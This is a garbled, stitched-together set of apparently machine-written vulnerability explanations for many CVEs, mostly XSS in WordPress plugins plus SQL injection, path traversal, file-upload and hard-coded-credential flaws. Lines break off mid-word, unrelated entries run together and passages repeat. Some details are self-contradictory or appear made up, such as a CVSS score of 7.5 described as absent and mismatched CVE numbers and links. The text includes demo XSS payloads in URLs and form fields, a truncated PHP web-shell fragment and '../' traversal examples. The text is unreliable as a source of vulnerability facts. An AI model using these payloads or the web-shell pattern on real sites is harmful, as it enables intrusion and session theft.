ed by receiving an invalid frame, which can be exploited by a malicious user to cause a Denial of Service. These versions are vulnerable to the websocket server crash issue addressed in CVE-2023-45820. Maintainers addressed the vulnerability, and users are advised to upgrade to this version or later to mitigate the risk. Users of version 0.23.0 or earlier are advised to avoid using websockets as a workaround until they can apply the necessary patch.

er could exploit the SQL injection vulnerability by supplying specially crafted input into the 'cp\_downlc' contents, alteration or deletion of data, and potential disclosure of sensitive information. This could lead to disclosure. However, there may not be specific details available regarding exploitation in the wild unless the PrestaShop Addons page (<https://addons.prestashop.com/fr/pop-up/39348-creative-popup.html>) is checked. It is recommended to update to a version that has addressed the vulnerability as soon as it becomes available, following the vendor's instructions. This will help protect the system from an exposure of sensitive information to an unauthorized actor. This vulnerability is currently assigned a CVSS score of 6.1, indicating a medium severity level. The lack of specific details about exploitation in the wild suggests that the severity of this vulnerability has not yet been quantified or that the scoring is still in progress.

ed, which is a link to an ICS Advisory from CISA: <https://www.cisa.gov/news-events/ics-advisories/icsa-18>. The affected web server. The attacker's aim would be to illicitly obtain sensitive information regarding the server by using crafted requests to elicit server version information. With this data, the attacker could further exploit the vulnerability to perform a cross-site scripting (XSS) attack. Through this vulnerability, an attacker can exploit the 'hostname' parameter to allow attackers to execute arbitrary JavaScript in the context of the web application, which could lead to various types of attacks. For instance, they could steal users' session cookies, which might allow them to impersonate users. To demonstrate this, we can construct a URL like `http://example.com/settings?hostname=<script>alert('XSS');</script>`. When the user clicks this link, the JavaScript code will be executed in the browser, alerting the user with the message 'XSS'.

by CISA at the following URL: <https://www.cisa.gov/news-events/ics-advisories/icsa-23-271-02>.

CVE-2023-5654.

ser by exploiting a message listener in the React Developer Tools extension that does not validate or sanitize the message payload. The React Developer Tools extension, which listens for 'message' events using `window.addEventListener`.

<https://gist.github.com/CalumHutton/1fb89b64409570a43f89d1fd3274b231>.

In the React Developer Tools extension's content script: `window.addEventListener('message', event => {` crafted messages to the message listener in the React Developer Tools extension. This could enable various attacks. The vulnerability was fixed in version 8.6.896. This vulnerability pertains to Cross Site Scripting (XSS), a type of security flaw that enables an attacker to inject malicious code into a web page.

Detailed report can be downloaded from '<https://citadelo.com/download/CVE-2022-37830.pdf>'.

ius URL containing JavaScript code. When an unsuspecting user clicks this link while logged into the Web application, the server will execute the reflected JavaScript. This is known as Cross-Site Scripting (XSS). To mitigate XSS attacks, it's important to update CMS software to a version that has fixed the XSS vulnerability. Additionally, implementing proper input validation and sanitization can help prevent XSS attacks.

am Showcase plugin for WordPress.

) to, and including, version 2.1.

in pages through the 'tmfshortcode' shortcode, due to insufficient input sanitization and output escaping. Exploit the vulnerability described by CVE-2023-5639.

I utilize the 'tmfshortcode' shortcode in a post or page. For instance, they could include the shortcode 39: - The WordPress plugin repository changeset detailing the patch: <https://plugins.trac.wordpress.org/changeset/39>. The Team Showcase plugin for WordPress should update the plugin to the latest version where the vulnerability was fixed: CVE-2023-5638.

for WooCommerce plugin.

ng version 7.1.2.

ugh the 'wci\_image' shortcode due to insufficient input sanitization and output escaping on user supplied

1

ink: <https://plugins.trac.wordpress.org/browser/woocommerce-jetpack/tags/7.1.2/includes/shortcod>an carry out a Stored Cross-Site Scripting attack. They could inject malicious scripts that will execute w  
ever, typically, after the disclosure of a vulnerability like CVE-2023-5638, the plugin author would rele  
in is susceptible to an issue with its file upload security feature. This vulnerability allows an attacker to

- **Compass.** If the server or a user's web browser executes this code, it could lead to unauthorized activity.

te. You can access the details through the following link: [https://support.hcltechsw.com/csm?id=kb\\_article&id=kb\\_article\\_list&category\\_id=1000000000000000000](https://support.hcltechsw.com/csm?id=kb_article&id=kb_article_list&category_id=1000000000000000000)

isguised as a benign file, which, when executed, gives them remote control over the web server. Anot  
ht be a PHP web shell. This is a typical example: ``php<?phpif(isset(\$\_REQUEST['cmd'])){ \$cmd = (\$\_F  
re version 1.4.0. It involves a reflected cross-site scripting (XSS) vulnerability that is present in the /con  
in a user's browser. If an attacker can convince a user to visit a specially crafted URL or interact with n  
ility happens when an application includes unvalidated or unsanitized user input as part of HTML outp  
retical example of a malicious payload for an XSS vulnerability like CVE-2023-45958 could involve craf

ces: a GitHub commit link available at <https://github.com/thirtybees/thirtybees/commit/2c99464376a> to prevent malicious scripts from being executed. The fix usually involves encoding or escaping user-input at the version number of the software you are running. The vulnerability is present in Thirty Bees Configuration Manager that allows an authenticated, remote attacker to retrieve arbitrary files from an affected system and issuing crafted requests using the web UI. This would enable the attacker to obtain arbitrary files from Cisco Catalyst SD-WAN Manager.

123-20261.

t the following URL: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/>cess and retrieval of sensitive files from the underlying Linux file system of the affected Cisco Catalyst meters sent to the web UI of Cisco Catalyst SD-WAN Manager that allows file retrieval from the Linux y requires that the attacker be authenticated as a user in the Cisco Catalyst SD-WAN Manager. neters in the web UI of Cisco Catalyst SD-WAN Manager, which can lead to arbitrary file retrieval from gin for WordPress. It is an Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability that affect

Inerability.

'ress.

malicious JavaScript code into web pages viewed by other users. This code might steal cookies, hijack s i malicious URL with embedded JavaScript. When a victim clicks on the link or visits the URL, the brows :://patchstack.com/database/vulnerability/player/wordpress-spidervplayer-plugin-1-5-22-reflected-cr 123-45632.

d update to a version that addresses the vulnerability as soon as it becomes available. If no patch is av or WordPress. Specifically, it is a Stored Cross-Site Scripting (XSS) vulnerability which affects versions t

E-2023-45057.

ps://patchstack.com/database/vulnerability/hitsteps-visitor-manager/wordpress-hitsteps-web-analyt eges injecting malicious scripts into the web pages served by the Hitsteps Web Analytics plugin. Wher nation, manipulation of web pages, or control over the affected WordPress site. This exploitation could 621.

Lightbox plugin for WordPress.

web scripts via the Image Title field in affected versions of the plugin. The injected scripts will execute is.

unfiltered\_html capability has been disabled.

on a WordPress site. The attacker, having the necessary privileges, could submit a new image to the 1 s to user data, session hijacking, defacement of the website, and distribution of malware to users visit i plugin repository, the plugin's changeset tracking page, and security advisories such as the one from \ nLogs plugin for WordPress. The issue arises due to insufficient input sanitization and output escaping s up to and including 1.0.1 are vulnerable to the Stored Cross-Site Scripting attack.

est with malicious JavaScript embedded in the IP Request Headers. Since the plugin does not properly ttackers to inject and execute malicious scripts in the context of the user's browser, potentially leading \ CVE-2023-5538. Users of the MpOperationLogs plugin should check the official plugin repository or the lub repository of the MpOperationLogs plugin at <https://github.com/juweihuitao/MpOperationLogs/> crafts a malicious payload that includes a JavaScript snippet and embeds it within the IP Request Head d first check if they are using the vulnerable version of the MpOperationLogs plugin. If so, they should

enticated remote attacker to crash the server by sending an oversized packet.

platforms.

'www.unrealircd.org/index/news'.

flow. This can lead to a denial of service by crashing the server. In some cases, particularly on older or se the security of the system by stealing the Windows access token of the user account configured for r account to interact with external database resources. This could potentially lead to unauthorized acc

| <https://www.cisa.gov/news-events/ics-advisories/icsa-22-326-01>.

versal vulnerability to access restricted directories and files, ultimately leading to the theft of the Win fics and to protect against malicious use, it's not appropriate to provide exact exploit code. Generally,

thenticated attacker to execute arbitrary commands on the system.

[www.cisa.gov/news-events/ics-advisories/icsa-22-326-01](https://www.cisa.gov/news-events/ics-advisories/icsa-22-326-01).

out needing authentication, the attacker could exploit the vulnerability to run any command they cho nnection string from a client that can be exploited by an adversary to conduct a port scan on the local ctions or advisories.

more information and details about mitigation strategies by visiting AVEVA's official product page for E er explaining connection string parameter pollution attacks available at exploit-db.com.

' could scan the network for open ports on various hosts, which might be leveraged for further exploit: intended by the application vendor, AVEVA, and oversight bodies such as CISA.

es the severity of a vulnerability. Without this score, one would need to assess the risk based on availa e application's internals and specific malicious connection strings that might cause the application to ir s scripts, such as web or reverse shells, on the web server, potentially giving them the ability to run co

lity that does not adequately check or sanitize the uploaded files, allowing the execution of malicious c v/news-events/ics-advisories/icsa-21-287-02.

ify the severity of vulnerabilities, but it seems this detail has not been specified for CVE-2020-17485. verability can gain the ability to execute arbitrary code and commands on the system, manipulate files ; should ensure proper file upload security measures are in place, such as: enforcing file type restrictio guised as an image file via a vulnerable file upload form. The attacker may bypass client-side validation are, creating a botnet by adding the compromised server to their network, or using the server as a foc urrency notices regarding CVE-2020-17485.

up to 9.26.3, 10.9.2, 11.1.2, and 12.0.4. It was caused by insufficient error handling that could result in ltimately cause the entire Node.js process to end unexpectedly. Given that Node.js applications are oft led to update to the patched versions to avoid the vulnerability.

.1.2, and Probot 12.3.3. Users of the affected libraries are encouraged to update to these versions to bhooks. The webhook payload could be designed to cause the error handling logic to fail and return ar

<https://github.com/octokit/app.js/releases/tag/v14.0.2>, <https://github.com/octokit/octokit.js/releases/tag/v3.14.0>

The National Vulnerability Database (NVD) or security advisories, which assess the impact and exploitability of the vulnerability.

stored XSS attacks on the affected platform, which could enable them to inject malicious scripts into web pages.

[xss-vulnerability?\\_s\\_id=cve](#)

Interactions with the compromised part of the site, for instance by viewing a page or submitting a form, the malicious script can be injected.

Adherence to security best practices, such as regular security audits and user training on avoiding suspicious links, can help prevent XSS attacks. For example, consider the following code snippet:

```
<form action=""> <label for="input">Enter your name:</label> <input type="text" id="input" name="input" value="Guest Generation'>
```

This code contains a 'value' attribute with a user-supplied input ('Guest Generation') followed by a single quote and the word 'Generation,' commonly known as a Stored Cross-site Scripting (XSS) vulnerability. This type of weakness can be exploited to execute arbitrary JavaScript code in the victim's browser.

[bold-page-builder-plugin-4-6-1-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](#)

Leading to Stored XSS: ````php// Example potentially vulnerable PHP code in a WordPress plugin```

```
$user_input = $_POST['input']; $output = "Hello, " . $user_input . "!"
```

The user input is stored in the database, every time other users access the infected pages, the malicious script would be executed. A patch was released for this vulnerability, available at [https://github.com/WordPress/WordPress/pull/42222](#).

When exploited, it could lead to user account takeovers, data theft, and other serious security issues. The reporting process typically includes notifying the vendor, in this case Biteship, and the community. The vendor can then release a patch to fix the vulnerability. Other users can disable the plugin or use alternative solutions until the update is released.

It is important to keep all software up-to-date with the latest security patches.

If the plugin is no longer maintained or if there is a critical vulnerability, users may consider disabling the plugin until an update is released. Additionally, implementing strong authentication measures and regularly monitoring logs for unusual activity can help detect and respond to potential threats.

[supsystic-gdpr-cookie-consent-plugin-2-1-2-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](#)

A critical vulnerability was found in the Supsystic GDPR Cookie Consent plugin, which affects the input handling process, allowing attackers to inject malicious scripts into the generated web pages.

When other users interact with the form, the script executes, allowing the attacker to steal sensitive information.

[supsystic-gdpr-cookie-consent-plugin-2-1-2-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](#)

The vulnerability occurs due to a lack of proper input validation and sanitization. When other users interact with the form, the script executes, allowing the attacker to steal sensitive information.

proper neutralization of user input during the generation of web pages, which allows attackers to inject malicious code.

[Cross-Site-Offline-or-Coming-Soon-or-Maintenance-Mode-Plugin-1-5-6-Cross-Site-Scripting-XSS-Vulnerability](#)

The Maintenance Mode plugin. When an administrator or other users view the affected content, the malicious code is injected. The GetSocial Share Buttons & Analytics Plugin by Getsocial, S.A. - specifically GetSocial.io, and impacts versions up to 4.0. It allows users to share content on various platforms and provide analytics.

CVE-2023-23456 to rectify this security issue.

This vulnerability arises from the improper neutralization of user input during web page generation, potentially resulting in unauthorized actions performed on behalf of the users or theft of session cookies or forms. This code would then be stored on the server. When other users visit the affected page, they would be exposed to the malicious script. The CVSS score for this vulnerability is 7.5, and the absence of a score means that at the time of publishing this CVE, a score has yet to be assigned and information about it was made available to the public.

This vulnerability is categorized as a Cross-Site Scripting (XSS) vulnerability, specifically reflected XSS, which allows an attacker to execute stored scripts on a victim's browser.

[Improper Neutralization of Input During Web Page Generation, which allows an attacker to execute stored scripts on a victim's browser](#)

This vulnerability arises from the improper neutralization of user input during web page generation. A malicious user can inject script tags into the URL and visits the site, the malicious script executes in their browser, potentially stealing cookies and other sensitive information.

[Cross-Site-Scripting-XSS-Vulnerability?\\_s\\_id=cve](#)

This vulnerability arises from the improper neutralization of user input during web page generation. The affected version of the plugin, WPDeveloper Parallax Slider Block, does not properly neutralize user input when executed in the context of the user's browser.

This vulnerability can be exploited by an attacker to steal sensitive information such as session tokens, cookies, and other user data.

[WPDeveloper Parallax Slider Block-2-0-33-Reflected-Cross-Site-Scripting-XSS-Vulnerability?\\_s\\_id=cve](#)

This vulnerability arises from the improper neutralization of user input during web page generation. The affected version of the plugin, WPDeveloper Parallax Slider Block, does not properly neutralize user input when executed in the context of the user's browser. An attacker can exploit this vulnerability to steal sensitive information such as session tokens, cookies, and other user data.

This vulnerability arises from the improper neutralization of user input during web page generation. The affected version of the plugin, WPDeveloper Parallax Slider Block, does not properly neutralize user input when executed in the context of the user's browser. An attacker can exploit this vulnerability to steal sensitive information such as session tokens, cookies, and other user data.

[WPDeveloper Parallax Slider Block-1-2-4-Cross-Site-Scripting-XSS-Vulnerability?\\_s\\_id=cve](#)

This vulnerability arises from the improper neutralization of user input during web page generation. The affected version of the plugin, WPDeveloper Parallax Slider Block, does not properly neutralize user input when executed in the context of the user's browser. An attacker can exploit this vulnerability to steal sensitive information such as session tokens, cookies, and other user data.

ing Web Page Generation, or more commonly, a Reflected Cross-site Scripting (XSS) issue. The vulnerability reflected back to the user and executed by the web browser.

[facebook-twitter-g/wordpress-nextscripts-social-networks-auto-poster-plugin-4-4-2-reflected-cross-scripting-xss-vulnerability](#) If an administrator or user accesses this URL, the script will run in the context of the user's session, p

er plugin installed but with the URL manipulated to include a script like `http://example.com/pluginpa

[st-all-posts-by-authors-nested-categories-and-title-plugin-2-7-10-cross-site-scripting-xss-vulnerability](#) of the victim's browser due to the reflected XSS vulnerability in the plugin. The attacker's script could

`<div> Welcome back, <script>document.write(unescape(decodeURIComponent(window.location.search))</script>)` trigger plugin, particularly in modules like Events Calendar, Registrations, and Sell Tickets with WooCommerce. This is the security issue.

The injected code is not sanitized and then executed in the browsers of other users who view the infected content. For example, redirecting users to phishing sites, defacing the website, or delivering malware.

The exploit is <https://patchstack.com/database/vulnerability/wp-event-manager/wordpress-wp-event-manager-cross-site-scripting-xss-vulnerability>. The severity of the vulnerability is Critical.

The exploit can be triggered by injecting malicious code into a database, a message forum, visitor log, or comment field, and then rendered alongside other legitimate content.

**Static YouTube Video Posts Plugin** (version 5.2.2) has a [Cross-site Scripting \(XSS\) vulnerability](#).

This security flaw allows attackers to inject malicious scripts into web pages generated by the software, leading to potential data theft or account compromise.

Once neutralized, it can be rendered as executable code when the content is served to users, thereby allowing an attacker updating to a fixed version once it's available.

If an attacker injects malicious code into an affected web page, the malicious script executes, which could result in the attacker stealing cookies, session tokens, or other sensitive information. The reference for this vulnerability is [CVE-2018-11592](#). This reference provides additional information about the vulnerability.

The vulnerability was discovered by [PatchStack](#) and reported to the plugin developer on January 15, 2018. It was fixed in version 5.2.3 of the plugin.

ucting a malicious URL with embedded JavaScript code. When a victim visits this link, the malicious script would execute in their browser, allowing the attacker to perform actions such as stealing session tokens or manipulating the page content.

ction by clicking a link or submitting a form, the script executes and can access cookies, session tokens

9-0-cross-site-scripting-xss-vulnerability?\_s\_id=cve.

input, without appropriate sanitization. For example: `https://example.com/vulnerable-page.php?input=malicious`. An attacker could also manipulate the content on the page to defraud the user or redirect them to malicious websites.

This means the plugin fails to properly sanitize user input, allowing malicious scripts to be executed in the browser.

cross-site-scripting-xss-vulnerability?\_s\_id=cve

The search term that is reflected back in the website's HTML. An attacker could exploit this as follows: If the user clicks on a link containing the search term, the embedded script would execute in their browser, allowing the attacker to steal cookies, session tokens, or sensitive information. It is recommended to update the plugin to a version released after 1.0.2, if available, or disable the plugin until an update is available. This vulnerability was identified in the Kreativo Pro KP Fastest Tawk.To Chat, which is a plugin for WordPress, and it is a critical security issue.

This vulnerability could be subject to theft of cookies, session tokens, or sensitive information and potentially allow an attacker to gain unauthorized access to the user's account.

ugin-1-1-1-cross-site-scripting-xss-vulnerability?\_s\_id=cve.

If the input field, without proper sanitization. Suppose the input field allows JavaScript code such as `<script>alert('XSS')</script>`. If the input is not properly sanitized, this script would be stored and later executed without their consent. This exploitation can lead to a range of malicious actions such as session hijacking or data theft.

5-cross-site-scripting-xss-vulnerability?\_s\_id=cve

If the input is not properly sanitized, this script would be stored and later executed without their consent. This exploitation can lead to a range of malicious actions such as session hijacking or data theft.

der-for-wordpress-plugin-2-5-3-reflected-cross-site-scripting-xss-vulnerability?\_s\_id=cve  
ectly escape. When the victim clicks the link and the webpage is rendered, the script executes in their  
gularly check for security updates for all WordPress plugins and themes and apply them immediately. I  
vability found in the Ads by datafeedr.Com plugin.

-by-datafeedrcom/wordpress-ads-by-datafeedr-com-plugin-1-2-0-cross-site-scripting-xss-vulnerability  
cript could then be served to other users in the application, for example in advertisements. When anot

ise an input field to insert something similar to `<script>alert('XSS');</script>` into a location within the  
Client Dash plugin.

oss-site-scripting-xss-vulnerability?\_s\_id=cve  
This script, when executed, could steal cookies, session tokens, or even redirect users to malicious sit  
s the affected page, the script executes in the context of their session. This might lead to stealing sessi  
WP plugin developed by formzu Inc. This particular vulnerability allows for stored XSS attacks and affec  
that is potentially malicious is not properly sanitized before being saved and later displayed to users, p

site-scripting-xss-vulnerability'.  
gin. Once this script is stored on the web server, it could then be executed in the browser of any user w  
ype='text/javascript'>alert('XSS');</script>`. If this script were submitted through a form field and not I  
bility. It affects the Till Krüss Email Address Encoder plugin for WordPress, versions up to and including  
rable web application. When other users access the compromised areas of the website, the stored scr

ncoder plugin processes user-supplied data. For instance, if the plugin fails to properly encode email a  
rmation such as cookies or session tokens, manipulation or theft of user data, redirection of users to m  
/patchstack.com/database/vulnerability/email-address-encoder/wordpress-email-address-encoder-c  
yet available, consider using a different method for email address encoding or employ additional secu  
which allows a remote attacker with regular user privileges to inject arbitrary SQL commands and poten

function of the Kaifa Technology WebITR. This can lead to unauthorized database access and data exp  
loration.

ss of data integrity, and unauthorized access of data.  
tacks. Promptly updating the system with patches or fixes provided by the vendor, if available, is also  
code using a web application framework@app.route('/login', methods=['POST'])def login(): username  
is input would contain SQL statements that the system improperly executes without validation. Once

This oversight allows a remote attacker with regular user privileges to upload arbitrary files, which cou

rom the Taiwan Computer Emergency Response Team / Coordination Center (TW-CERT) at '<https://www.twcert.org.tw/>' execute the script to gain unauthorized access to system resources, manipulate data, or disrupt the system. This exploit targets specific script file types. Additionally, applying proper input sanitization, enforcing secure file handling practices, and regular security assessments can help mitigate this risk.

sensitive system information due to an error message leakage.

This exploit involves an error condition that improperly discloses system information within the error message, allowing an unauthenticated remote attacker to generate a valid token parameter. Exploiting this vulnerability could allow the attacker to gain unauthorized access to system resources, manipulate data, or disrupt the system. If the key used for generating the token is known, the attacker can generate a valid token parameter, which can be used to fabricate a request for sensitive information such as employee personal data and company proprietary information. The exploit does not involve hard-coded keys. Ideally, this would involve using industry-standard secure key management practices.

Exploiting this vulnerability could lead to unauthorized system access or service disruption. For example, if the exploit is used to submit malicious code on the system, which can lead to unauthorized system access or service disruption.

Submission forms.

In operations, it could be of high severity once a score is assigned.

such as creating administrative accounts, or causing a denial of service to legitimate users.

When processed by the server due to the vulnerability, results in the execution of the code. This could lead to unauthorized access to the system, manipulation of data, or disruption of services.

Exploit this by manipulating input to include sequences like '../' to navigate up in the directory hierarchy.

such as '../' in the URL's parameters to navigate the directory structure and access files. For example, an attacker could use this exploit to bypass security mechanisms to enforce access controls on files and directories, and regular security assessments can help identify and mitigate this risk.

Exploiting this vulnerability could lead to unauthorized access to the system. The attacker could potentially carry out arbitrary system operations, such as changing system configurations, executing commands as if they were a legitimate user, or causing a denial of service. The severity of this vulnerability depends on the specific system configuration and the type of access granted to the attacker.

An attacker with elevated privileges could use this exploit to gain privileged access, view confidential information, disrupt operations by altering logs or settings, or pose a threat to the Multisuns EasyLog web+ system using the known hard-coded credentials. If these credentials are compromised, the attacker could gain unauthorized access to the system and cause significant damage.

• Scripting (XSS) attack.

The attacker does not need authentication and can take advantage of this oversight to execute a Stored XSS attack, allowing them to inject malicious code into the system.

• System (CVSS). Security professionals often use the CVSS score to prioritize the urgency of addressing vulnerabilities.

• Restrict the upload of files with dangerous types, allowing an unauthenticated remote attacker the ability to upload arbitrary files.

• The attacker could execute this code to perform arbitrary commands, potentially gaining unauthorized access to the system.

• A lack of validation could lead to various attack scenarios such as the execution of malicious code, system corruption, or denial of service.

• The CWS platform. Once uploaded, the attacker could navigate to the location of the script and execute it, allowing authenticated users with normal privileges to perform actions at the administrator level, potentially allowing a normal user to gain administrator privileges, it could potentially be a high-severity issue due to the lack of proper privilege separation.

<https://www.twcert.org.tw/tw/cp-132-7594-dac20-1.html>.

• This vulnerability could lead to unauthorized data access, changes to configurations, disabling of security measures, or even complete system compromise. Generally, such a vulnerability would stem from improper checks within an application's code, such as Role-Based Access Control (RBAC) that validates a user's privileges before allowing them to execute sensitive commands. This can be exploited by an unauthenticated remote attacker to run partial processes and obtain partial control over the system. As the CWS platform likely runs processes based on user roles, an attacker might leverage the hard-coded credentials to log in to the system and carry out actions that the low-privileged account has. This vulnerability. Their actions are confined to running certain processes and accessing non-sensitive information. Hard-coded credentials to log in to the system and carry out actions that the low-privileged account has. As the CWS platform likely runs processes based on user roles, an attacker might leverage the hard-coded credentials to log in to the system and carry out actions that the low-privileged account has. However, the vulnerability does not allow for service disruption.

<https://www.twcert.org.tw/tw/cp-132-7593-d3e5b-1.html>

• Through 11.0.2, 12.0 through 12.0.2, 13.0 through 13.0.2, 14.0 through 14.0.2.1, 15.0 through 15.0.2, a

• Versions within each series up to and including '.0.2' or '.0.2.1', depending on the series.

• Progress Bar application. By manipulating SQL queries through this parameter, the attacker could possibly gain administrative access.

• By manipulating the 'name' parameter in the controllers/main.py file, the attacker could possibly access, modify, or delete data in the database that is otherwise restricted. The attack could involve injecting arbitrary code and gain elevated privileges through the 'name' parameter in the controllers/main.py controller. If the input is not properly sanitized, this can lead to execution of arbitrary SQL commands on the underlying database.

• This exploit could lead to a complete compromise of the site's security.

[\\_blog](#)

• Hard-coded credentials to log in to the system and carry out actions that the low-privileged account has. As the CWS platform likely runs processes based on user roles, an attacker might leverage the hard-coded credentials to log in to the system and carry out actions that the low-privileged account has. However, the vulnerability does not allow for service disruption.

• Hard-coded credentials to log in to the system and carry out actions that the low-privileged account has. As the CWS platform likely runs processes based on user roles, an attacker might leverage the hard-coded credentials to log in to the system and carry out actions that the low-privileged account has. However, the vulnerability does not allow for service disruption.

relational mapping (ORM) tools, and implementing least privilege access controls to limit the potential heap corruption by using a crafted HTML page. Google Chrome versions prior to 120.0.6099.109 are associated with this vulnerability.

[releases.googleblog.com/2023/12/stable-channel-update-for-desktop\\_12.html](https://releases.googleblog.com/2023/12/stable-channel-update-for-desktop_12.html) - The Chromium bug indicates the program might read or write to memory that it no longer owns. This can lead to unpredictable behavior or arbitrary code on the user's device. This could compromise the confidentiality, integrity, or availability to understand its severity and urgency in terms of remediation effort.

when deleting REST API resources, leading to unauthorized actions.

i.e.

[21b1b1eecc4c8](https://github.com/honojs/hono/releases/tag/v3.11.7) - The release notes for version 3.11.7: <https://github.com/honojs/hono/releases/tag/v3.11.7> and path parameters. This might allow the attacker to manipulate the behavior of the application, such as a Denial of Service (DoS) attack against HTTP Request parsing by exploiting the way Squid handles a large

patch archive.

The Uncontrolled Recursion bug within the Squid proxy's HTTP Request parsing routine.

and [http://www.squid-cache.org/Versions/v6/SQUID-2023\\_10.patch](http://www.squid-cache.org/Versions/v6/SQUID-2023_10.patch).

it unresponsive and preventing legitimate users from accessing services provided through the proxy. Large X-Forwarded-For header, causing a denial of service due to excessive resource consumption or patch archives to remediate the vulnerability.

is present in the 'Multiple Post Passwords' plugin developed by Andreas Münch for WordPress. Version 1.1.1 allows other users to view the compromised content.

This vulnerability has been addressed, if available, or to disable the plugin until a patch is released. It is also a good idea to

[multiple-post-passwords-plugin-1-1-1-cross-site-scripting-xss-vulnerability](https://wpvulndb.com/vulnerabilities/11111)

A user can view the site using the Multiple Post Passwords plugin. When other users, including administrators, view the post, the vulnerability allows an attacker to execute Stored XSS attacks on affected versions of the plugin.

to steal credentials, session tokens, or other sensitive information, depending on the context and the type of user.

[simple-calendar-google-calendar-plugin-for-wordpress-1-1-17-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](https://wpvulndb.com/vulnerabilities/11117)

A user can submit a calendar event with malicious content. When another user views that web page, the malicious content is injected into the user's calendar. This affects the Simple Calendar – Google Calendar Plugin for WordPress, wherein versions from 1.1.1 up to 1.1.17 are affected.

This vulnerability can be exploited to perform various attacks, such as data theft, session hijacking, or the delivery of malicious content on behalf of users of the web application.

login-3-2-6-cross-site-scripting-xss-vulnerability?\_s\_id=cve

njected code could then be stored and later served to unsuspecting users. When other users view this XSS attack involves an attacker submitting a script like the following into an input or upload field handled by the webserver's improper sanitization of user input.

the affected webserver. This could lead to unauthorized actions being performed on behalf of the victim if the webserver does not properly validate or encode user inputs before they are output in web pages. An attacker could inject user input: <input type='text' name='search' value='Search here...>

WordPress. Stored XSS vulnerabilities allow an attacker to inject malicious scripts into web pages which are then executed when a user views the page.

manager-plugin-2-6-7-cross-site-scripting-xss-vulnerability?\_s\_id=cve

icated user with suitable privileges views the injected content, the script executes in their browser, possibly through an interface containing JavaScript such as <script>alert('XSS');</script>. This script is then stored in the database.

'During Web Page Generation', which is a type of Stored Cross-Site Scripting (XSS) vulnerability. This is when user inputs are then stored and can be executed in the browsers of users visiting the compromised website.

ettings or configuration page. Because of the vulnerability, the script is saved without being sanitized.

'rocket-maintenance-mode/wordpress-rocket-maintenance-mode-coming-soon-page-plugin-4-3-cross-situation') score yet as it might still be under analysis.

which falls under the category of 'Improper Neutralization of Input During Web Page Generation'. Specifically, this vulnerability occurs when user input is not properly neutralized before being used to generate web pages.

other users. The effects of XSS attacks can range from petty nuisances to significant security risks, depending on the specific payload. For example, if an attacker submits the payload <script>alert('XSS');</script>, when other users view the page where the form submission is displayed, the alert will be triggered. This payload could be stored in the website's database. Other users who access pages displaying data from the affected page will also see the alert message.

Score is usually assigned by the Common Vulnerability Scoring System (CVSS).

potentially resulting in data theft, account takeover, or other security breaches.

ata that will be saved and displayed on a page without proper sanitization. An attacker could submit malicious code to the plugin and remove the plugin until a secure version is released or consider using a different, secure currency converter plugin. This could lead to session hijacking, where an attacker could steal user session cookies.

'wordpress-currency-converter-calculator-plugin-1-3-1-cross-site-scripting-xss-vulnerability' issue, which arises from improper neutralization of input during the generation of web pages. The payload will be executed in the browsers of other users who view the compromised web page.

vulnerability to ensure their website's security.

When these inputs are rendered on a web page without proper escaping, the attacker's payload is executed. This code might look like `<script>alert('XSS');</script>`. If the input isn't properly sanitized, this may involve installing an update, patch, or a complete replacement of the plugin, depending on the solution. [Cross-Site-Scripting-XSS-Vulnerability](#). This link leads to a security advisory on Patchstack that may offer detailed information about the vulnerability. A base score provides an estimate of the severity of a vulnerability. The absence of a base score might mean that a vulnerability has not been assigned one, which are executed when other users visit those pages. This can result in unauthorized access to user data.

This vulnerability is specifically a Reflected XSS vulnerability which affects versions up to 1.8.5.4 of the Fil

ick to the user and executed by their web browser. It arises from improper neutralization of user input such as stealing session cookies, defacing the website, redirecting the user to malicious sites, or performing other malicious actions. The severity of the vulnerability, how it was discovered, and possibly patch or mitigation recommendations.

[Inherable-page.php?input=<script>alert\('XSS'\)</script>](#). When a user visits this link, the `input` parameter is not properly sanitized. To prevent this vulnerability, implement input sanitization and validation measures, utilize Content Security Policy (CSP) headers to reduce the risk of XSS attacks, and regularly update the plugin to fix known vulnerabilities.

[Reflected-XSS-Vulnerability?\\_s\\_id=cve](#).

When a user visits a compromised page, their browser executes the malicious script, possibly leading to data theft, session hijacking, or other malicious activities.

ability.

In their browser, the script executes within their browser, in the context of the vulnerable web page, leading to a reflected XSS attack. The `input` parameter would be executed in their browser, causing the alert box to display a message, or redirection to malicious websites, among other malicious activities.

[Reflected-XSS-Vulnerability/mytube/wordpress-mytube-playlist-plugin-2-0-3-reflected-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](#)

You may need to deactivate and remove the plugin until a secure version is available, or implement additional security measures to mitigate the risk.

The victim's browser when the link is visited. This happens because the application fails to properly sanitize user input, leading to a reflected XSS attack.

[Reflected-XSS-Vulnerability/tblocks-for-elementor-plugin-1-3-8-reflected-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](#).

Session tokens, or other sensitive information from users, defacing web pages, or redirecting users to malicious websites.

The application doesn't sanitize the 'param' parameter correctly, and the script tag gets executed. The JavaScript code is executed in the victim's browser, potentially leading to session hijacking, or the delivery of malware to the victim's system.

[Reflected-XSS-Vulnerability?\\_s\\_id=cve](#)

eb page. A simplified pseudo code example might look like: ``html<!-- Attacker inputs a malicious script  
ing emails with links to the compromised website, tricking users into visiting it and inadvertently runn

pts via user input that is improperly neutralized when generating a web page.

ugin-1-5-3-cross-site-scripting-xss-vulnerability?\_s\_id=cve

cation of the input, when other users or the site admin views the content, the malicious code will exec  
is essential to follow the plugin developer's or WordPress security advisories for any patch releases or  
type of Cross-site Scripting (XSS) vulnerability. Stored XSS in WP Photo Album Plus versions up to 8.5.0

or other sensitive information, defacing the website, or performing actions on the website on behalf of

plugin-8-5-02-005-cross-site-scripting-xss-vulnerability

er who views the affected page. This can result in long-term effects on the website integrity and user s  
ecurity audits, implement proper input validation and sanitization routines, and employ security mech

ity. It affects the WordPress plugin called Smart External Link Click Monitor [Link Log], specifically in ve  
, if available, to mitigate the risk.

back and executed by the user's browser, potentially stealing session cookies, redirecting the user to

-log-plugin-5-0-2-reflected-cross-site-scripting-xss-vulnerability?\_s\_id=cve'. This reference provides ac

S) to reflect their severity. Since the base score is listed as 'N/A', consulting official repositories or ven

like the National Vulnerability Database (NVD), Common Vulnerabilities and Exposures (CVE) database

